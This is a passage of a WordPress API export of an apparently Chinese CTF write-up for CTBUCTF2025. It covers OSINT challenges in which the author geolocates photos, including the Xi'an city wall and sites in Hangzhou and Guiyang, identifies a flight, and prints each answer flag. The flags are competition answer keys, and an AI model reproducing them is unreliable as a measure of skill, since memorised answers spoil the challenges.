\u6b22\u4e50\u8c37}<\/code><\/strong><\/p>\n\n\n\n<p>(\u51fa\u5f97\u6709\u70b9\u53f2\u4e86\uff0c\u53ef\u6211\u771f\u6ca1\u6d3b\u4e86\uff0c\u8fd8\u4e0d\u8ba9\u6211\u53bb\u627e\u4eba\u4f17\u7b79\u4e00\u4e2a\u56fe\u7247\uff0c\u4e3a\u96be\u4e0d\u62cd\u7167\u515a)<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[OSINT]\u7f51\u7edc\u8ff7\u8e2a\u64c2\u53f0\u8d5b \u2163\uff1a\u7a7a\u4e2d\u6808\u9053\u7684\u79d8\u5bc6<\/h4>\n\n\n\n<p>\u8fd9\u4e2a\u4e5f\u662f\u5230\u624b\u548c\u79d2\u51fa\u6ca1\u4ec0\u4e48\u533a\u522b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-22.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"886\" height=\"279\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-22.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-389\"  sizes=\"auto, (max-width: 886px) 100vw, 886px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-23-1024x506.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-23-1024x506.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-390\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong><code>ctbuctf{\u6d59\u6c5f\u7701 _ \u676d\u5dde\u5e02 _ \u6850\u5e90\u53bf _ \u5782\u4e91\u901a\u5929\u6cb3}<\/code><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[OSINT]\u7f51\u7edc\u8ff7\u8e2a\u2165\uff1a\u57ce\u5899\u5efa\u7b51<\/h4>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-24-1024x495.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"495\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-24-1024x495.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-391\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8ddf\u8fdb\u7b2c\u4e00\u4e2a\u56fe\u7247<\/p>\n\n\n\n<p>\u627e\u5230\u8fd9\u4e2a\u56fe\u7247\u7684\u51fa\u5904\uff0c\u4e00\u4e2a\u5e16\u5b50<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-25-1024x506.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-25-1024x506.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-392\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u90fd\u8bf4\u4e86\u662f\u897f\u5b89\u57ce\u5899\u4e86<\/p>\n\n\n\n<p>\u770b\u770b\u5730\u5740\u5c31\u597d\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-26.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"462\" height=\"395\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-26.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-393\"  sizes=\"auto, (max-width: 462px) 100vw, 462px\" \/><\/div><\/figure>\n\n\n\n<p><strong><code>ctbuctf{\u9655\u897f\u7701_\u897f\u5b89\u5e02_\u7891\u6797\u533a_\u897f\u5b89\u57ce\u5899}<\/code><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[OSINT]\u7f51\u7edc\u8ff7\u8e2a\u64c2\u53f0\u8d5b \u2166\uff1a0k@b3\u306e\u5fa9\u4ec7<\/h4>\n\n\n\n<p>emmm\uff0c\u53c8\u662f\u6211\u81ea\u5df1\u7684\uff0c\u7531\u8bb0\u5fc6\u53ef\u77e5\uff0cflag\u4e3a\uff1a<\/p>\n\n\n\n<p><strong><code>ctbuctf{\u8d35\u5dde\u7701_\u8d35\u9633\u5e02_\u89c2\u5c71\u6e56\u533a_\u91d1\u6731\u4e1c\u8def}<\/code><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[OSINT]\u7f51\u7edc\u8ff7\u8e2a\u64c2\u53f0\u8d5b \u2167 \uff1aPP\u540c\u5b66\u65c5\u6e38\u89c4\u5212<\/h4>\n\n\n\n<p>\u516d\u6708\u4e00\u53f7\u53bb\u4e2d\u5357\u6d77\uff0c\u4e2d\u5357\u6d77\u5728\u5317\u4eac\uff0c\u4e5f\u5c31\u662f\u91cd\u5e86\u6c5f\u5317\u98de\u5317\u4eac\u5c31\u597d\uff0c\u643a\u7a0b\u4e0a\u9762\u627e\u5c31\u884c\uff0c\u6700\u665a\u4e00\u73ed<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-27-1024x78.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"78\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-27-1024x78.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-394\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong><code>ctbuctf{\u5ddd\u822a3U1086_22:20}<\/code><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6821\u8d5b [MISC]\u3010\u7b7e\u5230\u3011Welcome to CTBUCTF2025 ctbuctf{Welcome_to_ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-380","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/380","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=380"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/380\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=380"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}